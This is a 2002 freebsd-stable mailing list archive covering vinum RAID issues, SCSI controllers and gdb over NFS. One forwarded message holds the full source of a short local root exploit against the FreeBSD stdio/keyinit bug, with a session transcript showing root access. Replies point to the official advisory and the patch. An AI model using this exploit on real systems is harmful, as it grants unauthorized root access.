7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 24 Apr 2002 16:38:08 -0700 Terry Lambert wrote: TL> Only if you reserved a window for it. Say 1G of KVA, though last I was thinking more like 1M, or even a few K, it sounds like that's not possible. TL> I checked the bank selection granularity wasn't fine enough for That would be a problem. TL> If you ever programmed graphics on a TI 99/4A, which has a 4k TL> visible window onto screen memory, or programmed code on the I've done a number of similar things (Newbrain, Lynx, bank switched CP/M ...). -- C:>WIN | Directable Mirrors The computer obeys and wins. |A Better Way To Focus The Sun You lose and Bill collects. | licenses available - see: | http://www.sohara.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 22:25:33 2002 Delivered-To: freebsd-stable@freebsd.org Received: from laptop.tenebras.com (laptop.tenebras.com [66.92.188.18]) by hub.freebsd.org (Postfix) with SMTP id 991C537B420 for ; Wed, 24 Apr 2002 22:25:27 -0700 (PDT) Received: (qmail 9857 invoked from network); 25 Apr 2002 05:25:26 -0000 Received: from sapphire.tenebras.com (HELO tenebras.com) (66.92.188.241) by 0 with SMTP; 25 Apr 2002 05:25:26 -0000 Message-ID: <3CC79346.4030209@tenebras.com> Date: Wed, 24 Apr 2002 22:25:26 -0700 From: Michael Sierchio Reply-To: kudzu@tenebras.com User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.9) Gecko/20020404 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Greg 'groggy' Lehey Cc: Mike Tancsa , stable@FreeBSD.ORG Subject: Re: new ata code and vinum References: <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> <5.1.0.14.0.20020422210120.05d72808@192.168.0.12> <20020425132747.G33950@wantadilla.lemis.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Greg 'groggy' Lehey wrote: > Yes, that's more like what I would expect. It's interesting to note > that the ar doesn't perform as well as Vinum. Time to mirror catch-up test on replacement media? ;-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 22:31:25 2002 Delivered-To: freebsd-stable@freebsd.org Received: from wantadilla.lemis.com (wantadilla.lemis.com [192.109.197.80]) by hub.freebsd.org (Postfix) with ESMTP id 6452937B416 for ; Wed, 24 Apr 2002 22:31:18 -0700 (PDT) Received: by wantadilla.lemis.com (Postfix, from userid 1004) id 1251E815C0; Thu, 25 Apr 2002 15:01:16 +0930 (CST) Date: Thu, 25 Apr 2002 15:01:16 +0930 From: Greg 'groggy' Lehey To: Mike Tancsa Cc: stable@FreeBSD.ORG Subject: Re: new ata code and vinum Message-ID: <20020425150115.L33950@wantadilla.lemis.com> References: <5.1.0.14.0.20020425000434.03dbfeb8@192.168.0.12> <5.1.0.14.0.20020422210120.05d72808@192.168.0.12> <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> <5.1.0.14.0.20020422210120.05d72808@192.168.0.12> <5.1.0.14.0.20020425000434.03dbfeb8@192.168.0.12> <5.1.0.14.0.20020425002148.04795d90@192.168.0.12> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5.1.0.14.0.20020425002148.04795d90@192.168.0.12> User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 9A1B 8202 BCCE B846 F92F 09AC 22E6 F290 507A 4223 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thursday, 25 April 2002 at 0:32:29 -0400, Mike Tancsa wrote: > At 01:47 PM 4/25/2002 +0930, Greg 'groggy' Lehey wrote: > >> Hmm. The rawio figures look pretty terrible. I wonder why. > > If it was a cable issue, would not the read numbers be brutal as > well ? Yes, probably, but I'd be very surprised if this were a cable issue. Maybe somebody who understands SCSI better than I can make a suggestion about what the problem might be. Greg -- See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Apr 25 0:58:19 2002 Delivered-To: freebsd-stable@freebsd.org Received: from postoffice.igalaxy.net (hal.igalaxy.net [64.160.104.142]) by hub.freebsd.org (Postfix) with ESMTP id 12E4337B428 for ; Thu, 25 Apr 2002 00:58:15 -0700 (PDT) Received: from mikeyg [64.160.106.10] by postoffice.igalaxy.net (SMTPD32-7.06) id AB95459800B8; Thu, 25 Apr 2002 01:17:25 -0700 Message-ID: <015601c1ec2e$f021c400$0301a8c0@mikeyg> Reply-To: "Mike Grissom" From: "Mike Grissom" To: Subject: SCSI Controller Date: Thu, 25 Apr 2002 00:58:07 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0153_01C1EBF4.433C7DF0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0153_01C1EBF4.433C7DF0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I have an old hp netserver 5/60LM server which has 7 2GB harddrives in = it configured for a disk array. For some reason its only seeing one or = two of the drives. The controller is a SmartCACHE III by DPT. So we = tested out installing windows NT onto it and windows NT automatically = saw 1 14GB harddrive instead of 7 2GBs. What could be causing this. = The disk array configuration is correct otherwise it wouldnt be letting = NT see it. Does FreeBSD not support it? Thanks in advance! ------=_NextPart_000_0153_01C1EBF4.433C7DF0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I have an old hp netserver 5/60LM = server which has=20 7 2GB harddrives in it configured for a disk array.  For some = reason its=20 only seeing one or two of the drives.  The controller is a = SmartCACHE III=20 by DPT.  So we tested out installing windows NT onto it and windows = NT=20 automatically saw 1 14GB harddrive instead of 7 2GBs.  What could = be=20 causing this.  The disk array configuration is correct otherwise it = wouldnt=20 be letting NT see it.  Does FreeBSD not support it?  Thanks in = advance!
 
------=_NextPart_000_0153_01C1EBF4.433C7DF0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Apr 25 1:23: 2 2002 Delivered-To: freebsd-stable@freebsd.org Received: from gate.uai.etel.ru (gate.uai.etel.ru [195.38.57.243]) by hub.freebsd.org (Postfix) with ESMTP id BC58237B41E for ; Thu, 25 Apr 2002 01:22:50 -0700 (PDT) Received: by sendmail of gate.uai.etel.ru id g3P8MpX21193 for ; Thu, 25 Apr 2002 14:22:51 +0600 X-Authentication-Warning: gate.uai.etel.ru: smap set sender to using -f Received: from by gate.uai.etel.ru via smap (V2.1) id xma021011; Thu, 25 Apr 02 14:21:51 +0600 Received: by sendmail with ESMTP id g3P8Lo5H025621 from vlad@telecom.ural.ru for ; Thu, 25 Apr 2002 14:21:50 +0600 Received: by sendmail id g3P8LoLf025620 for freebsd-stable@freebsd.org.KAV; Thu, 25 Apr 2002 14:21:50 +0600 Received: by sendmail with ESMTP id g3P8Ln5H025612; Thu, 25 Apr 2002 14:21:49 +0600 Date: Thu, 25 Apr 2002 14:22:10 +0600 From: "Vladimir G. Drobyshevsky" X-Mailer: The Bat! (v1.60c) UNREG / CD5BF9353B3B7091 Reply-To: "Vladimir G. Drobyshevsky" Organization: Computer saloons "TelescOp" X-Priority: 3 (Normal) Message-ID: <129604079.20020425142210@telecom.ural.ru> To: freebsd-stable@freebsd.org, freebsd-current@freebsd.org Subject: FreeBSD security hole? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Have a nice day! Yesterday I received that message from one of linux guys: --- forward message --- /* phased/b10z phased@snosoft.com 23/04/2002 stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE decided to make a trivial exploit to easily get root :) > id uid=1003(phased) gid=999(phased) groups=999(phased) > ./iosmash Adding phased: <--- HIT CTRL-C ---> > su s/key 98 snosoft2 Password:MASS OAT ROLL TOOL AGO CAM xes# this program makes the following skeys valid 95: CARE LIVE CARD LOFT CHIC HILL 96: TESS OIL WELD DUD MUTE KIT 97: DADE BED DRY JAW GRAB NOV 98: MASS OAT ROLL TOOL AGO CAM 99: DARK LEW JOLT JIVE MOS WHO cheers Joost Pol */ #include #include int main(int argc, char *argv[]) { while(dup(1) != -1); close(2); execl("/usr/bin/keyinit", "\nroot 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666 01:02:03\n"); } --- forward message --- He ask me to verify that information. I did. And it works. And the second message that I recived today: --- message --- phased had some comments he wanted me to forward on to the lists in regards to his latest exploit. He says that skeys are used via all authentication methods... i.e telnet, so someone could change the user to someone in the wheel group. Haven't used skeys via ssh yet but I presume it works. Root obviously can't just telnet in by default but usually can ssh, but if the box being exploited contains people in the wheel group you can change the root user in the exploit to any user to log in via skeys as that user. --- message --- I not so well understand in interiors of system, I only see, that during 30 seconds have got access to the root account (of course, from the account of the user who is included in group wheel, differently su, naturally, not gives access). Therefore I ask to comment on these messages. How dangerous can it be? -- Sincerelly yours, Vl To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Apr 25 1:36:36 2002 Delivered-To: freebsd-stable@freebsd.org Received: from smtp2.enst.fr (matrix2.enst.fr [137.194.2.14]) by hub.freebsd.org (Postfix) with ESMTP id 3C5CB37B400; Thu, 25 Apr 2002 01:36:31 -0700 (PDT) Received: from andromede.enst.fr (andromede.enst.fr [137.194.64.202]) by smtp2.enst.fr (Postfix) with ESMTP id 710811F071; Thu, 25 Apr 2002 10:36:29 +0200 (MEST) Received: (from ware@localhost) by andromede.enst.fr (8.8.8+Sun/8.8.8) id KAA14271; Thu, 25 Apr 2002 10:36:28 +0200 (MET DST) Date: Thu, 25 Apr 2002 10:36:28 +0200 From: Cedric Ware To: "Vladimir G. Drobyshevsky" Cc: freebsd-stable@freebsd.org, freebsd-current@freebsd.org Subject: Re: FreeBSD security hole? Message-ID: <20020425103627.A14146@enst.fr> References: <129604079.20020425142210@telecom.ural.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <129604079.20020425142210@telecom.ural.ru>; from vlad@telecom.ural.ru on Thu, Apr 25, 2002 at 02:22:10PM +0600 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, > stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE > decided to make a trivial exploit to easily get root :) Indeed, see security advisory FreeBSD-SA-02:23.stdio at: ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:23.stdio.asc Please upgrade to 4.5-p4 or 4-STABLE (April 21 or after). Regards, Cedric Ware. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Apr 25 1:49:10 2002 Delivered-To: freebsd-stable@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-18.dsl.lsan03.pacbell.net [64.165.226.18]) by hub.freebsd.org (Postfix) with ESMTP id D97B537B417; Thu, 25 Apr 2002 01:49:05 -0700 (PDT) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 5791D66B8A; Thu, 25 Apr 2002 01:49:05 -0700 (PDT) Date: Thu, 25 Apr 2002 01:49:05 -0700 From: Kris Kennaway To: "Vladimir G. Drobyshevsky" Cc: freebsd-stable@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: FreeBSD security hole? Message-ID: <20020425014905.A28082@xor.obsecurity.org> References: <129604079.20020425142210@telecom.ural.ru> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="7JfCtLOvnd9MIVvH" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <129604079.20020425142210@telecom.ural.ru>; from vlad@telecom.ural.ru on Thu, Apr 25, 2002 at 02:22:10PM +0600 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --7JfCtLOvnd9MIVvH Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Apr 25, 2002 at 02:22:10PM +0600, Vladimir G. Drobyshevsky wrote: > Have a nice day! >=20 > Yesterday I received that message from one of linux guys: Perhaps you should read the security advisories we release. Kris --7JfCtLOvnd9MIVvH Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8x8MAWry0BWjoQKURArwFAKC/JOL9RX5HMrQhg+b/fZ9hTdRDqACghvl9 u73d2a0tqIZgbKWBtKVtae4= =bssY -----END PGP SIGNATURE----- --7JfCtLOvnd9MIVvH-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Apr 25 1:58:18 2002 Delivered-To: freebsd-stable@freebsd.org Received: from gate.uai.etel.ru (gate.uai.etel.ru [195.38.57.243]) by hub.freebsd.org (Postfix) with ESMTP id 7EB8F37B426 for ; Thu, 25 Apr 2002 01:58:10 -0700 (PDT) Received: by sendmail of gate.uai.etel.ru id g3P8wBs26713 for ; Thu, 25 Apr 2002 14:58:11 +0600 X-Authentication-Warning: gate.uai.etel.ru: smap set sender to using -f Received: from by gate.uai.etel.ru via smap (V2.1) id xma026478; Thu, 25 Apr 02 14:56:09 +0600 Received: by sendmail with ESMTP id g3P8u75H027554 from vlad@telecom.ural.ru for ; Thu, 25 Apr 2002 14:56:07 +0600 Received: by sendmail id g3P8u7eC027553 for freebsd-stable@FreeBSD.ORG.KAV; Thu, 25 Apr 2002 14:56:07 +0600 Received: by sendmail with ESMTP id g3P8u65H027527; Thu, 25 Apr 2002 14:56:06 +0600 Date: Thu, 25 Apr 2002 14:56:26 +0600 From: "Vladimir G. Drobyshevsky" X-Mailer: The Bat! (v1.60c) UNREG / CD5BF9353B3B7091 Reply-To: "Vladimir G. Drobyshevsky" Organization: Computer saloons "TelescOp" X-Priority: 3 (Normal) Message-ID: <12411660546.20020425145626@telecom.ural.ru> To: owner-freebsd-current@FreeBSD.ORG, Cedric Ware Cc: freebsd-stable@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re[2]: FreeBSD security hole? In-Reply-To: <20020425103627.A14146@enst.fr> References: <129604079.20020425142210@telecom.ural.ru> <20020425103627.A14146@enst.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello all! >> stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE >> decided to make a trivial exploit to easily get root :) CW> Indeed, see security advisory FreeBSD-SA-02:23.stdio at: CW> ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:23.stdio.asc CW> Please upgrade to 4.5-p4 or 4-STABLE (April 21 or after). That's really strange - I subscribed to freebsd-security-notifications, but didn't receved that message. Or just readed it by Delete key. ;-) Anyway, thank you for your help. -- Best regards, Vl To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Apr 25 2:25:27 2002 Delivered-To: freebsd-stable@freebsd.org Received: from alogis.com (firewall.solit-ag.de [212.184.102.1]) by hub.freebsd.org (Postfix) with ESMTP id CB9E437B404; Thu, 25 Apr 2002 02:25:18 -0700 (PDT) Received: from alogis.com (kipp@clausthal.int1.b.intern [10.1.1.30]) by alogis.com (8.11.1/8.9.3) with ESMTP id g3P9PHl88222; Thu, 25 Apr 2002 11:25:17 +0200 (CEST) (envelope-from holger.kipp@alogis.com) Message-ID: <3CC7C80A.263E39E6@alogis.com> Date: Thu, 25 Apr 2002 11:10:34 +0200 From: Holger Kipp X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.13 i686) X-Accept-Language: en MIME-Version: 1.0 To: "Greg 'groggy' Lehey" Cc: stable@FreeBSD.ORG Subject: vinum: "start" broken, needs explicit "read /dev/twed1a", strange behaviour References: <5.1.0.14.0.20020422210120.05d72808@192.168.0.12> <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> <5.1.0.14.0.20020422210120.05d72808@192.168.0.12> <5.1.0.14.0.20020425000434.03dbfeb8@192.168.0.12> <20020425134704.K33950@wantadilla.lemis.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, vinum on twed1a gives me some headaches. System is a 4.5-stable cvsupped within the last two hours... The system only has twed0 and twed1 (both 3ware escalade controllers 0 is 7410b, 1 is 7850b). - vinum is not reading its configuration from disk. - create worked without any problems (apart from the known missing "twed" - see below) - setting up vinum manually with vinum vinum-> read /dev/twed1a works, but is changing a link in directory /dev/vinum/drive: ls -l after installation: lrwxr-xr-x 1 root wheel 13 Apr 24 18:25 drive0 -> /dev/twed1a ls -l after first time 'vinum-> read /dev/twed1a': lrwxr-xr-x 1 root wheel 13 Apr 24 18:25 drive0 -> /dev/twed1s1a and then counting through all valid slices, one up every time I have to force read again. I also tried /dev/twed1s1a for installation, but then I get links to /dev/twed1s1as1a, ... /dev/twed1s1as1e,f,g,h vinum start doesn't work (ie won't read configuration from disk). Should I file a PR, or is this a) user error (me stupid) or b) quick fix possible? Would you mind committing the "twed"-addition to vinumio.c as well? I'm out of ideas. Any help appreciated. Regards, Holger --- diff to vinumio.c was (didn't change anything else): *** vinumio.c Tue Apr 23 14:05:19 2002 --- vinumio.c.orig Tue Apr 23 13:22:57 2002 *************** *** 93,98 **** --- 93,101 ---- } else if (bcmp(dname, "idad", 4) == 0) { devmajor = 109; dname += 2; + } else if (bcmp(dname, "twed", 4) == 0) { /* 3ware raid */ + devmajor = 147; + dname += 2; } else return ENODEV; dname += 2; /* point past */ -- Holger Kipp, Dipl.-Math., Systemadministrator | alogis AG Fon: +49 (0)30 / 43 65 8 - 114 | Berliner Strasse 26 Fax: +49 (0)30 / 43 65 8 - 214 | D-13507 Berlin Tegel email: holger.kipp@alogis.com | http://www.alogis.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Apr 25 2:44:20 2002 Delivered-To: freebsd-stable@freebsd.org Received: from atos.sr.se (atos.sr.se [192.121.194.132]) by hub.freebsd.org (Postfix) with ESMTP id 707D537B41E for ; Thu, 25 Apr 2002 02:44:16 -0700 (PDT) Received: from honken.sr.se (honken.sr.se [134.25.128.27]) by atos.sr.se (8.11.6/8.11.6) with ESMTP id g3P9iEC48807 for ; Thu, 25 Apr 2002 11:44:15 +0200 (CEST) (envelope-from gunnar@pluto.sr.se) Received: from pluto.sr.se (pluto.SR.SE [134.25.193.91]) by honken.sr.se (8.9.3/8.9.3) with ESMTP id LAA72629 for ; Thu, 25 Apr 2002 11:44:14 +0200 (CEST) (envelope-from gunnar@pluto.sr.se) Received: (from root@localhost) by pluto.sr.se (8.11.6/8.11.1) id g3P9iEd35173 for freebsd-stable@freebsd.org; Thu, 25 Apr 2002 11:44:14 +0200 (CEST) (envelope-from gunnar) Received: (from gunnar@localhost) by pluto.sr.se (8.11.6/8.11.1av) id g3P9iB035165 for freebsd-stable@freebsd.org; Thu, 25 Apr 2002 11:44:11 +0200 (CEST) (envelope-from gunnar) Date: Thu, 25 Apr 2002 11:44:11 +0200 From: Gunnar Flygt To: FreeBSD Stable Subject: Getting temperature data out of a Dell 2550 Message-ID: <20020425114411.A35153@sr.se> Reply-To: Gunnar Flygt Mail-Followup-To: Gunnar Flygt , FreeBSD Stable Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Virus-Scanned: by AMaViS perl-11 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Has anyone on the list succeeded to to get temperature information from the motherboard, from such a box? Running RELENG_4_5 -- __o regards, Gunnar ---_ \<,_ email: flygt@sr.se ---- (_)/ (_) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Apr 25 4: 8:49 2002 Delivered-To: freebsd-stable@freebsd.org Received: from alogis.com (firewall.solit-ag.de [212.184.102.1]) by hub.freebsd.org (Postfix) with ESMTP id 4AD3237B42A; Thu, 25 Apr 2002 04:08:43 -0700 (PDT) Received: from alogis.com (kipp@clausthal.int1.b.intern [10.1.1.30]) by alogis.com (8.11.1/8.9.3) with ESMTP id g3PB8fl94547; Thu, 25 Apr 2002 13:08:42 +0200 (CEST) (envelope-from holger.kipp@alogis.com) Message-ID: <3CC7E046.2B7C5731@alogis.com> Date: Thu, 25 Apr 2002 12:53:58 +0200 From: Holger Kipp X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.13 i686) X-Accept-Language: en MIME-Version: 1.0 To: "Greg 'groggy' Lehey" , stable@FreeBSD.ORG Subject: Re: vinum: "start" broken, needs explicit "read /dev/twed1a", strange behaviour References: <5.1.0.14.0.20020422210120.05d72808@192.168.0.12> <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> <5.1.0.14.0.20020422210120.05d72808@192.168.0.12> <5.1.0.14.0.20020425000434.03dbfeb8@192.168.0.12> <20020425134704.K33950@wantadilla.lemis.com> <3CC7C80A.263E39E6@alogis.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Holger Kipp wrote: > > Hello, > > vinum on twed1a gives me some headaches. System is a 4.5-stable cvsupped within > the last two hours... The system only has twed0 and twed1 (both 3ware escalade > controllers 0 is 7410b, 1 is 7850b). > > - vinum is not reading its configuration from disk. > - create worked without any problems (apart from the known missing "twed" - see below) > - setting up vinum manually with > vinum > vinum-> read /dev/twed1a > > works, but is changing a link in directory /dev/vinum/drive: Some more info: "vinum start" does only check /dev/md0 (the full list md0s1a to md0s4h and md0a to md0h) but nothing else. "vinum, read /dev/twed1a" does only check /dev/twed1as1a to /dev/twed1as4h and will happily accept the first 'new' entry it finds. It is not going to check /dev/twed1a at all. It does not matter if these entries are available in /dev/ or not. (all in vinum_scandisk). Regards, Holger -- Holger Kipp, Dipl.-Math., Systemadministrator | alogis AG Fon: +49 (0)30 / 43 65 8 - 114 | Berliner Strasse 26 Fax: +49 (0)30 / 43 65 8 - 214 | D-13507 Berlin Tegel email: holger.kipp@alogis.com | http://www.alogis.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Apr 25 4:16: 1 2002 Delivered-To: freebsd-stable@freebsd.org Received: from ns.caucasus.net (ns.caucasus.net [212.58.123.2]) by hub.freebsd.org (Postfix) with ESMTP id A226E37B421 for ; Thu, 25 Apr 2002 04:15:55 -0700 (PDT) Received: from nt (nt.caucasus.net [212.58.123.199]) by ns.caucasus.net (8.11.6/8.11.6) with SMTP id g3PBFkc69139 for ; Thu, 25 Apr 2002 16:15:47 +0500 (GEST) Message-ID: <00d001c1ec4b$dae752e0$c7743ad4@nt> From: "Irakli Bakhtadze" To: Subject: Date: Thu, 25 Apr 2002 16:25:07 +0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00CD_01C1EC75.C3401490" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_00CD_01C1EC75.C3401490 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: quoted-printable ------=_NextPart_000_00CD_01C1EC75.C3401490 Content-Type: text/html; charset="koi8-r" Content-Transfer-Encoding: quoted-printable
 
------=_NextPart_000_00CD_01C1EC75.C3401490-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Apr 25 6:19: 1 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mta06bw.bigpond.com (mta06bw.bigpond.com [139.134.6.96]) by hub.freebsd.org (Postfix) with ESMTP id 1F5BC37B432 for ; Thu, 25 Apr 2002 06:18:54 -0700 (PDT) Received: from CPE-61-9-164-106.vic.bigpond.net.au ([144.135.24.81]) by mta06bw.bigpond.com (Netscape Messaging Server 4.15 mta06bw Feb 26 2002 03:44:21) with SMTP id GV4KZF00.2TQ for ; Thu, 25 Apr 2002 23:18:51 +1000 Received: from CPE-144-137-5-44.vic.bigpond.net.au ([144.137.5.44]) by bwmam05.mailsvc.email.bigpond.com(MailRouter V3.0l 38/3161230); 25 Apr 2002 23:18:51 Received: (from root@localhost) by CPE-61-9-164-106.vic.bigpond.net.au (8.11.0/8.11.0) id g3PDIoD00293 for ; Thu, 25 Apr 2002 23:18:50 +1000 From: Darren Reed Message-Id: <200204251318.XAA02067@avalon.reed.wattle.id.au> Subject: gdb doesn't work over NFS ? To: stable@freebsd.org Date: Thu, 25 Apr 2002 23:18:34 +1000 X-Mailer: ELM [version 2.4ME+ PL37 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Can someone explain why when I use gdb under FreeBSD 4.5, I cannot open files on an NFS partition that I can outside of gdb ? ie. i can do: $ wc Makefile but I cannot do: $ gdb `which wc` (gdb) run Makefile and if I do, I get: wc: Makefile: open: No such file or directory Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Apr 25 6:25:39 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mail.webmonster.de (datasink.webmonster.de [194.162.162.209]) by hub.freebsd.org (Postfix) with SMTP id 92CA237B419 for ; Thu, 25 Apr 2002 06:25:22 -0700 (PDT) Received: (qmail 14487 invoked by uid 1000); 25 Apr 2002 13:25:43 -0000 Date: Thu, 25 Apr 2002 15:25:43 +0200 From: "Karsten W. Rohrbach" To: "Bruce A. Mah" Cc: Doug Barton , JJ Behrens , freebsd-stable@FreeBSD.ORG Subject: Re: *** HEAD'S UP *** Message-ID: <20020425152543.A13500@mail.webmonster.de> References: <20020422114407.B21612@alicia.nttmcl.com> <20020423215717.S66402-100000@master.gorean.org> <20020424125400.F87244@mail.webmonster.de> <200204241304.g3OD4slv062649@intruder.bmah.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="dDRMvlgZJXvWKvBx" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200204241304.g3OD4slv062649@intruder.bmah.org>; from bmah@FreeBSD.ORG on Wed, Apr 24, 2002 at 06:04:54AM -0700 X-Arbitrary-Number-Of-The-Day: 42 X-URL: http://www.webmonster.de/ X-Disclaimer: My opinions do not necessarily represent those of my employer X-Work-URL: http://www.ngenn.net/ X-Work-Address: nGENn GmbH, Schloss Kransberg, D-61250 Usingen-Kransberg, Germany X-Work-Phone: +49-6081-682-304 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG 